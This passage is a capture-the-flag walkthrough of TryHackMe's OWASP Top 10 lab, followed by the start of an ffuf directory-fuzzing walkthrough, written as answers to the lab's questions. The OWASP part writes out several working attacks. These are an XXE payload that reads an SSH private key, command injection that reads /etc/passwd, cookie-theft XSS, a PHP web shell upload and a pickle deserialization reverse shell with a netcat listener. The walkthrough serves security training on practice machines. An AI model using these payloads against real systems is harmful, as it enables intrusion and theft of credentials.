<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span> | <span class="nv">$\</span>  <span class="nv">$$</span> |<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span>
<span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> |<span class="nv">$$$\</span> <span class="nv">$$</span> |<span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> /  <span class="se">\_</span>_|<span class="nv">$$</span> |  <span class="nv">$$</span> |
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span> <span class="nv">$$</span> <span class="nv">$$</span><span class="se">\$</span><span class="nv">$ </span>|<span class="nv">$$$$$$$$</span> |<span class="se">\$</span><span class="nv">$$$$$\</span>  <span class="nv">$$$$$$$ </span> |
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$$</span>  _<span class="nv">$$$$</span> |<span class="nv">$$</span>  __<span class="nv">$$</span> | <span class="se">\_</span>___<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  ____/ 
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$ </span> / <span class="se">\$</span><span class="nv">$$</span> |<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span><span class="se">\ </span>  <span class="nv">$$</span> |<span class="nv">$$</span> |      
 <span class="nv">$$$$$$</span>  |<span class="nv">$$</span>  /   <span class="se">\$</span><span class="nv">$ </span>|<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="se">\$</span><span class="nv">$$$$$ </span> |<span class="nv">$$</span> |      
 <span class="se">\_</span>_____/ <span class="se">\_</span>_/     <span class="se">\_</span>_|<span class="se">\_</span>_|  <span class="se">\_</span>_| <span class="se">\_</span>_____/ <span class="se">\_</span>_|      
                                                     
                                                     
                                                     
<span class="nv">$$$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$$\</span>    <span class="nv">$$</span><span class="se">\ </span>  <span class="nv">$$$$$$</span><span class="se">\ </span>       
<span class="se">\_</span>_<span class="nv">$$</span>  __|<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$$$</span> | <span class="nv">$$$ </span>__<span class="nv">$$</span><span class="se">\ </span>      
   <span class="nv">$$</span> |   <span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="se">\_</span><span class="nv">$$</span> | <span class="nv">$$$$</span><span class="se">\ </span><span class="nv">$$</span> |      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$$$$$ </span> |  <span class="nv">$$</span> | <span class="nv">$$</span><span class="se">\$</span><span class="nv">$\$$</span> |      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span>  ____/   <span class="nv">$$</span> | <span class="nv">$$</span> <span class="se">\$</span><span class="nv">$$$ </span>|      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span> |        <span class="nv">$$</span> | <span class="nv">$$</span> |<span class="se">\$</span><span class="nv">$$</span> |      
   <span class="nv">$$</span> |    <span class="nv">$$$$$$</span>  |<span class="nv">$$</span> |      <span class="nv">$$$$$$</span><span class="se">\\</span><span class="nv">$$$$$$</span>  /      
   <span class="se">\_</span>_|    <span class="se">\_</span>_____/ <span class="se">\_</span>_|      <span class="se">\_</span>_____|<span class="se">\_</span>_____/       
                                                     
                                                     
</code></pre></div></div>

<p>Badges: <a href="https://thm.com/ZishanAdThandar/badges/owasp-10">https://thm.com/ZishanAdThandar/badges/owasp-10</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>sqlite3</li>
  <li><a href="https://crackstation.net/">Cracktation.net</a></li>
  <li>Browser Debugging Tools (CTRL+SHIFT+I)</li>
  <li>Browser Source Code Viewer (CTRL+U)</li>
</ul>

<h2 id="introduction">Introduction</h2>

<ul>
  <li>Join the machine</li>
  <li>Read Instructions and click on Complete.
    <h2 id="accessing-machines">Accessing machines</h2>
  </li>
  <li>Goto Access and get ovpn file to connect https://thm.com/access</li>
  <li>Or, Start attackbox for testing.
    <h2 id="severity-1-injection">[Severity 1] Injection</h2>
  </li>
  <li>Read carefully this section and click on Complete.
    <h2 id="severity-1-os-command-injection">[Severity 1] OS Command Injection</h2>
  </li>
  <li>Read this section and mentioned <a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#spawn-tty-shell">article</a>, then  click on Complete.
    <h2 id="severity-1-command-injection-practical">[Severity 1] Command Injection Practical</h2>
  </li>
  <li>Start Machine and get Target IP from “Target Machine Information”. Now, open <code class="language-plaintext highlighter-rouge">http://machine_ip/evilshell.php</code>.</li>
  <li>Now, type commands and submit. You can see output below.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What strange text file is in the website root directory?</code> Answer <code class="language-plaintext highlighter-rouge">drpepper.txt</code>. Running <code class="language-plaintext highlighter-rouge">ls</code> command will show this strange text file.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many non-root/non-service/non-daemon users are there?</code> Answer <code class="language-plaintext highlighter-rouge">0</code>. Running <code class="language-plaintext highlighter-rouge">cat /etc/passwd</code> will show.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What user is this app running as?</code> Answer <code class="language-plaintext highlighter-rouge">www-data</code>. Used command <code class="language-plaintext highlighter-rouge">whoami</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the user's shell set as?</code> Answer <code class="language-plaintext highlighter-rouge">/usr/sbin/nologin</code>. Command used <code class="language-plaintext highlighter-rouge">getent passwd www-data</code> or <code class="language-plaintext highlighter-rouge">cat /etc/passwd |grep www-data</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What version of Ubuntu is running?</code> Answer ``. Command used <code class="language-plaintext highlighter-rouge">lsb_release -a</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Print out the MOTD.  What favorite beverage is shown?</code> Answer <code class="language-plaintext highlighter-rouge">DR PEPPER</code>. Used command <code class="language-plaintext highlighter-rouge">cat /etc/update-motd.d/00-header</code>.
    <h2 id="severity-2-broken-authentication">[Severity 2] Broken Authentication</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-2-broken-authentication-practical">[Severity 2] Broken Authentication Practical</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information” and open <code class="language-plaintext highlighter-rouge">http://MACHINE_IP:8888</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag that you found in darren's account?</code> Answer <code class="language-plaintext highlighter-rouge">fe860794************74b667</code>. To get flag inside darren’s account, register as “ darren” and login. Here you need to use whitespace before darren’s name.</li>
  <li>Test same trick with user <code class="language-plaintext highlighter-rouge">arthur</code> and click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag that you found in arthur's account?</code> Answer <code class="language-plaintext highlighter-rouge">d9ac0f7************75e16e</code>.
    <h2 id="severity-3-sensitive-data-exposure-introduction">[Severity 3] Sensitive Data Exposure (Introduction)</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-supporting-material-1">[Severity 3] Sensitive Data Exposure (Supporting Material 1)</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-supporting-material-2">[Severity 3] Sensitive Data Exposure (Supporting Material 2)</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-challenge">[Severity 3] Sensitive Data Exposure (Challenge)</h2>
  </li>
  <li>If we open the machine link and check source, we can get a image link to <code class="language-plaintext highlighter-rouge">http://machine_ip/assets/images/lake-taupo.jpg</code>.</li>
  <li>Now if we navigate to <code class="language-plaintext highlighter-rouge">http://machine_ip/assets</code> directory, there is a sensitive databse file named <code class="language-plaintext highlighter-rouge">webapp.db</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the mentioned directory?</code> Answer <code class="language-plaintext highlighter-rouge">/assets</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?</code> Answer <code class="language-plaintext highlighter-rouge">webapp.db</code>. It’s a file inside <code class="language-plaintext highlighter-rouge">/assets</code>.</li>
  <li>Now Downloding the file and analyzing the file with <code class="language-plaintext highlighter-rouge">file webapp.db</code> command shows it’s a <code class="language-plaintext highlighter-rouge">sqlite3</code> file. Now, we can read the db file with <code class="language-plaintext highlighter-rouge">sqlite3 webapp.db</code>.</li>
  <li>If we use <code class="language-plaintext highlighter-rouge">.table</code> command to get table names, we will see there is two table named <code class="language-plaintext highlighter-rouge">session</code> and <code class="language-plaintext highlighter-rouge">users</code>. We can get column names using <code class="language-plaintext highlighter-rouge">PRAGMA table_info(users);</code> command.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$&gt;</span> sqlite3 webapp.db 
   SQLite version 3.37.2 2022-01-06 13:25:41
   Enter <span class="s2">".help"</span> <span class="k">for </span>usage hints.
  sqlite&gt; .tables
  sessions  <span class="nb">users   
  </span>sqlite&gt; PRAGMA table_info<span class="o">(</span><span class="nb">users</span><span class="o">)</span><span class="p">;</span>
  0|userID|TEXT|1||1
  1|username|TEXT|1||0
  2|password|TEXT|1||0
  3|admin|INT|1||0
  sqlite&gt; 
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">select * from users;</code> will show user’s details inside the table. We can get admin hash there <code class="language-plaintext highlighter-rouge">6eea9b7ef191*******0f6c05ceb</code>.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sqlite&gt; <span class="k">select</span> <span class="k">*</span> from <span class="nb">users</span><span class="p">;</span>
  4413096d9c933359b898b6202288a650|admin|6eea9b7ef191<span class="k">******</span>f6c05ceb|1
  23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
  4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
  sqlite&gt; 
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">Use the supporting material to access the sensitive data. What is the password hash of the admin user?</code> Answer <code class="language-plaintext highlighter-rouge">6eea9b7ef191*****dd0f6c05ceb</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the admin's plaintext password?</code> Answer <code class="language-plaintext highlighter-rouge">qwe****op</code>. We can crack the hash using <a href="https://crackstation.net/">CrackStation</a>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Login as the admin. What is the flag?</code> Answer <code class="language-plaintext highlighter-rouge">THM{Yzc2Yjd*************diMjdl}</code>. If we goto <code class="language-plaintext highlighter-rouge">http://machine_ip/login</code> and login with username <code class="language-plaintext highlighter-rouge">admin</code> and the cracked password <code class="language-plaintext highlighter-rouge">qw*****iop</code>, it will redirect to <code class="language-plaintext highlighter-rouge">http://machine_ip/console/</code>. There we can get the flag.
    <h2 id="severity-4-xml-external-entity">[Severity 4] XML External Entity</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-4-xml-external-entity---extensible-markup-language">[Severity 4] XML External Entity - eXtensible Markup Language</h2>
  </li>
  <li>Read this section carefully and then start answering.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Full form of XML</code> Answer <code class="language-plaintext highlighter-rouge">eXtensible Markup Language</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Is it compulsory to have XML prolog in XML documents?</code> Answer <code class="language-plaintext highlighter-rouge">No</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Can we validate XML documents against a schema?</code> Answer <code class="language-plaintext highlighter-rouge">Yes</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How can we specify XML version and encoding in XML document?</code> Answer <code class="language-plaintext highlighter-rouge">xml prolog</code>
    <h2 id="severity-4-xml-external-entity---dtd">[Severity 4] XML External Entity - DTD</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a new ELEMENT?</code> Answer <code class="language-plaintext highlighter-rouge">!ELEMENT</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a ROOT element?</code> Answer <code class="language-plaintext highlighter-rouge">!DOCTYPE</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a new ENTITY?</code> Answer <code class="language-plaintext highlighter-rouge">!ENTITY</code>
    <h2 id="severity-4-xml-external-entity---xxe-payload">[Severity 4] XML External Entity - XXE Payload</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-4-xml-external-entity---exploiting">[Severity 4] XML External Entity - Exploiting</h2>
  </li>
  <li>Now open http://machine_ip</li>
  <li>Used given payload in last section to print <code class="language-plaintext highlighter-rouge">falcon feast</code> and clicked on Complete.</li>
  <li>Again used payload from last section to read <code class="language-plaintext highlighter-rouge">/etc/passwd</code> and clicked on complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the user in /etc/passwd</code> Answer <code class="language-plaintext highlighter-rouge">falcon</code>. We read it from output of last payload.</li>
  <li>Now we can use same payload with replacing file from <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to ssh file location <code class="language-plaintext highlighter-rouge">/home/falcon/.ssh/id_rsa</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Where is falcon's SSH key located?</code> Answer <code class="language-plaintext highlighter-rouge">/home/falcon/.ssh/id_rsa</code>.</li>
  <li>New payload to read SSH file,
    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cp">&lt;?xml version="1.0"?&gt;</span>
 <span class="cp">&lt;!DOCTYPE root [&lt;!ENTITY read SYSTEM '/home/falcon/.ssh/id_rsa'&gt;</span>]&gt;
 <span class="nt">&lt;root&gt;</span><span class="ni">&amp;read;</span><span class="nt">&lt;/root&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What are the first 18 characters for falcon's private key</code> Answer <code class="language-plaintext highlighter-rouge">MIIEogI****CAQEA7b</code>
    <h2 id="severity-5-broken-access-control">[Severity 5] Broken Access Control</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-5-broken-access-control-idor-challenge">[Severity 5] Broken Access Control (IDOR Challenge)</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read and understand how IDOR works and click on Complete.</li>
  <li>Open <code class="language-plaintext highlighter-rouge">http://machine_ip/</code> and login with username <code class="language-plaintext highlighter-rouge">note</code> and password <code class="language-plaintext highlighter-rouge">test123</code>, then click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Look at other users notes. What is the flag?</code> Answer <code class="language-plaintext highlighter-rouge">flag{fivef***three}</code>. Got it by changing note id to 0 and visiting link <code class="language-plaintext highlighter-rouge">http://machine_ip/note.php?note=0</code>.
    <h2 id="severity-6-security-misconfiguration">[Severity 6] Security Misconfiguration</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully, deploy the vm and click on Complete.</li>
  <li>If we open the <code class="language-plaintext highlighter-rouge">machine_ip</code>, we can get a webapp name <code class="language-plaintext highlighter-rouge">Pensive Notes</code>. After googling I got default username password in a github repo https://github.com/NinjaJc01/PensiveNotes. Default credential of Pensive Notes is <code class="language-plaintext highlighter-rouge">pensive:PensiveNotes</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Hack into the webapp, and find the flag!</code> Answer <code class="language-plaintext highlighter-rouge">thm{4b95139*******a1f9d672e17}</code>
    <h2 id="severity-7-cross-site-scripting">[Severity 7] Cross-site Scripting</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully, deploy the vm and click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Navigate to http://machine_ip in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".</code> Answer <code class="language-plaintext highlighter-rouge">ThereIsMoreToXSSThanYouThink</code>. Used payload <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert("Hello")&lt;/script&gt;</code>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(%22Hello%22)%3C/script%3E</li>
  <li>Question <code class="language-plaintext highlighter-rouge">On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.</code> Answer <code class="language-plaintext highlighter-rouge">ReflectiveXss4TheWin</code>. Used payload <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(window.location.hostname)&lt;/script&gt;</code>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(window.location.hostname)%3C/script%3E</li>
  <li>Now goto <code class="language-plaintext highlighter-rouge">http://machine_ip/stored</code> and create an account.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Then add a comment and see if you can insert some of your own HTML.</code> Answer <code class="language-plaintext highlighter-rouge">HTML_T4gs</code>. Commented <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> in <code class="language-plaintext highlighter-rouge">http://machine_ip/stored</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">On the same page, create an alert popup box appear on the page with your document cookies.</code> Answer <code class="language-plaintext highlighter-rouge">W3LL_D0N3_LVL2</code> Payload used <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></li>
  <li>Now used payload to change title from <code class="language-plaintext highlighter-rouge">to</code>. Payload used <code class="language-plaintext highlighter-rouge">&lt;script&gt;document.querySelector("#thm-title").textContent="I am a hacker"&lt;/script&gt;</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.</code> Answer <code class="language-plaintext highlighter-rouge">websites_can_be_easily_defaced_with_xss</code>
    <h2 id="severity-8-insecure-deserialization">[Severity 8] Insecure Deserialization</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Who developed the Tomcat application?</code> Answer <code class="language-plaintext highlighter-rouge">The Apache Software Foundation</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What type of attack that crashes services can be performed with insecure deserialization?</code> Answer <code class="language-plaintext highlighter-rouge">Denial of Service</code>
    <h2 id="severity-8-insecure-deserialization---objects">[Severity 8] Insecure Deserialization - Objects</h2>
  </li>
  <li>Read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">if a dog was sleeping, would this be: A) A State B) A Behaviour</code> Answer <code class="language-plaintext highlighter-rouge">A Behaviour</code>
    <h2 id="severity-8-insecure-deserialization---deserialization">[Severity 8] Insecure Deserialization - Deserialization</h2>
  </li>
  <li>Read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the base-2 formatting that data is sent across a network as?</code> Answer <code class="language-plaintext highlighter-rouge">binary</code>
    <h2 id="severity-8-insecure-deserialization---cookies">[Severity 8] Insecure Deserialization - Cookies</h2>
  </li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?</code> Answer <code class="language-plaintext highlighter-rouge">webapp.com/login/</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the acronym for the web technology that Secure cookies work over?</code> Answer <code class="language-plaintext highlighter-rouge">https</code>
    <h2 id="severity-8-insecure-deserialization---cookies-practical">[Severity 8] Insecure Deserialization - Cookies Practical</h2>
  </li>
  <li>Open <code class="language-plaintext highlighter-rouge">http://machine_ip/register</code>, create a account and login.</li>
  <li>Press <code class="language-plaintext highlighter-rouge">CTRL+SHIFT+I</code> and goto Storage section to read and edit cookies.</li>
  <li>Copy value of <code class="language-plaintext highlighter-rouge">sessionId</code> cookie and decode it with base64 decoder. Command to decode base64, <code class="language-plaintext highlighter-rouge">echo "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAN2Y1MWRiYWFhZjY2NDYwMzkyNTNiNTlkOTY3NTAwYWVxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" |base64 -d</code>. You will get the first flag.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">1st flag (cookie value)</code> Answer <code class="language-plaintext highlighter-rouge">THM{good******se64_huh}</code></li>
  <li>Then edit <code class="language-plaintext highlighter-rouge">userType</code> cookie value to <code class="language-plaintext highlighter-rouge">admin</code> from <code class="language-plaintext highlighter-rouge">user</code> and reload the page and it will redirect to the admin page and show the flag.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">2nd flag (admin dashboard)</code> Answer <code class="language-plaintext highlighter-rouge">THM{heres******in_flag}</code>
    <h2 id="severity-8-insecure-deserialization---code-execution">[Severity 8] Insecure Deserialization - Code Execution</h2>
  </li>
  <li>Start listner to listen with <code class="language-plaintext highlighter-rouge">nc -lvp 4444</code> command.</li>
  <li>Change cookie <code class="language-plaintext highlighter-rouge">userType</code> value to <code class="language-plaintext highlighter-rouge">user</code> from <code class="language-plaintext highlighter-rouge">admin</code>. Open <code class="language-plaintext highlighter-rouge">http://machine_ip/myprofile</code>, then click on <code class="language-plaintext highlighter-rouge">Exchange on vim</code> and after that <code class="language-plaintext highlighter-rouge">feedback</code>. Give feedback.</li>
  <li>We need to follow instructions carefully. First we need to change download <a href="https://assets.thm.com/additional/cmn-owasptopten/pickleme.py">pickleme.py</a> and  “YOUR_TRYHACKME_VPN_IP” with your TryHackMe VPN IP. To get IP of TryHackMe you can use <code class="language-plaintext highlighter-rouge">ifconfig tun0 |grep destination |cut -d" " -f10</code> command. Then run the python script with <code class="language-plaintext highlighter-rouge">python3 pickleme.py</code>. Copy the cookie and add a cookie with that value, name it <code class="language-plaintext highlighter-rouge">encodedPayload</code>. Reload feedback page. You will get a netcat shell. You can read flag using <code class="language-plaintext highlighter-rouge">cat ../flag.txt</code> command.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">flag.txt</code> Answer <code class="language-plaintext highlighter-rouge">4a69a7***fd68</code>
    <h2 id="severity-9-components-with-known-vulnerabilities---intro">[Severity 9] Components With Known Vulnerabilities - Intro</h2>
  </li>
  <li>Read Instructions and click on Complete.
    <h2 id="severity-9-components-with-known-vulnerabilities---exploit">[Severity 9] Components With Known Vulnerabilities - Exploit</h2>
  </li>
  <li>Read Instructions and click on Complete.
    <h2 id="severity-9-components-with-known-vulnerabilities---lab">[Severity 9] Components With Known Vulnerabilities - Lab</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>When we open <code class="language-plaintext highlighter-rouge">http://machine_ip</code>, we get link to <code class="language-plaintext highlighter-rouge">http://machine_ip/admin.php</code> and <code class="language-plaintext highlighter-rouge">projectworlds.in</code> link. After searching bookstore on <code class="language-plaintext highlighter-rouge">projectworlds.in</code>, we get this page https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ with default credential username: admin@admin.com password: admin.</li>
  <li>After logging into admin panel, we can upload our shell by editing any book. Shell code, <code class="language-plaintext highlighter-rouge">&lt;?php system('wc -c /etc/passwd'); ?&gt;</code> in shell.php. After going to edit book, upload shell.php with <code class="language-plaintext highlighter-rouge">change</code> button.</li>
  <li>Now to find the shell, open location of image. You can find all images in <code class="language-plaintext highlighter-rouge">/bootstrap/img</code> directory. Just open the directory in the link, you can get your uploaded shell there, <code class="language-plaintext highlighter-rouge">http://machine_ip/bootstrap/img/shell.php</code>. If you open the page, it will compile and execute the code to display character number of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)</code> Answer <code class="language-plaintext highlighter-rouge">1611</code>
    <h2 id="severity-10-insufficient-logging-and-monitoring">[Severity 10] Insufficient Logging and Monitoring</h2>
  </li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What IP address is the attacker using?</code> Answer <code class="language-plaintext highlighter-rouge">49.99.13.16</code>. We can check lot of unauthorized login from this ip.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What kind of attack is being carried out?</code> Answer <code class="language-plaintext highlighter-rouge">Bruteforce</code>. As we can see many unatuthorized usernames requested.
    <h2 id="what-next">What Next?</h2>
  </li>
  <li>Just click Complete. Done!</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="thm" /><category term="ctf" /><category term="owasp" /><category term="web" /><category term="rce" /><category term="xss" /><category term="idor" /><category term="xxe" /><category term="sqli" /><summary type="html"><![CDATA[TryHackMe OWASP Top 10 walkthrough — hands-on exercises covering injection, broken authentication, XSS, IDOR, SSRF, and other critical web vulnerabilities.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">ffuf - TryHackMe Directory Busting Writeup</title><link href="https://zishanhack.com/blog/thm/ffuf/" rel="alternate" type="text/html" title="ffuf - TryHackMe Directory Busting Writeup" /><published>2024-08-01T00:00:00+05:30</published><updated>2024-08-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/ffuf</id><content type="html" xml:base="https://zishanhack.com/blog/thm/ffuf/"><![CDATA[<h2 id="ffuf">ffuf</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#basics">Basics</a></li>
  <li><a href="#finding-pages-and-directories">Finding Pages and Directories</a></li>
  <li><a href="#using-filters">Using Filters</a></li>
  <li><a href="#fuzzing-parameters">Fuzzing Parameters</a></li>
  <li><a href="#finding-vhosts-and-subdomains">Finding Vhosts and Subdomains</a></li>
  <li><a href="#proxifying-ffuf-traffic">Proxifying FFUF Traffic</a></li>
  <li><a href="#reviewing-the-options">Reviewing the Options</a></li>
  <li><a href="#about-the-author">About the Author</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/r/room/ffuf">https://thm.com/r/room/ffuf</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        /<span class="s1">'___\  /'</span>___<span class="se">\ </span>          /<span class="s1">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

</span></code></pre></div></div>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://github.com/ZishanAdThandar/HackiFy">HackiFy</a></li>
  <li><a href="https://github.com/ffuf/ffuf">ffuf</a></li>
  <li><a href="https://github.com/danielmiessler/SecLists">SecLists</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<ul>
  <li>Read this section, install ffuf and Seclists, then click on “Complete” buttons.</li>
  <li>I used automated tool and wordlist installer <code class="language-plaintext highlighter-rouge">HackiFy</code> to install those tools. Repo: https://github.com/ZishanAdThandar/HackiFy
    <h2 id="basics">Basics</h2>
  </li>
  <li>Read this section properly, connect to the network with openvpn or start <code class="language-plaintext highlighter-rouge">AttackBox</code>.</li>
  <li>Click on <code class="language-plaintext highlighter-rouge">Start the Machine</code>.</li>
  <li>Used the given command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/NORAJ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt:NORAJ</code>, just replaced <code class="language-plaintext highlighter-rouge">seclists</code> location with <code class="language-plaintext highlighter-rouge">/opt/wordlist/SecLists/</code> as HackiFy install it inside <code class="language-plaintext highlighter-rouge">/opt/wordlist</code> directory.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the first file you found with a 200 status code?</code> Answer <code class="language-plaintext highlighter-rouge">favicon.ico</code>
    <h2 id="finding-pages-and-directories">Finding pages and directories</h2>
  </li>
  <li>If we run first command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt</code> we can get some output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What text file did you find?</code> Answer <code class="language-plaintext highlighter-rouge">robots.txt</code></li>
  <li>If we run second command given <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/indexFUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/web-extensions.txt</code> , we can get output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What two file extensions were found for the index page?</code> Answer <code class="language-plaintext highlighter-rouge">php,phps</code></li>
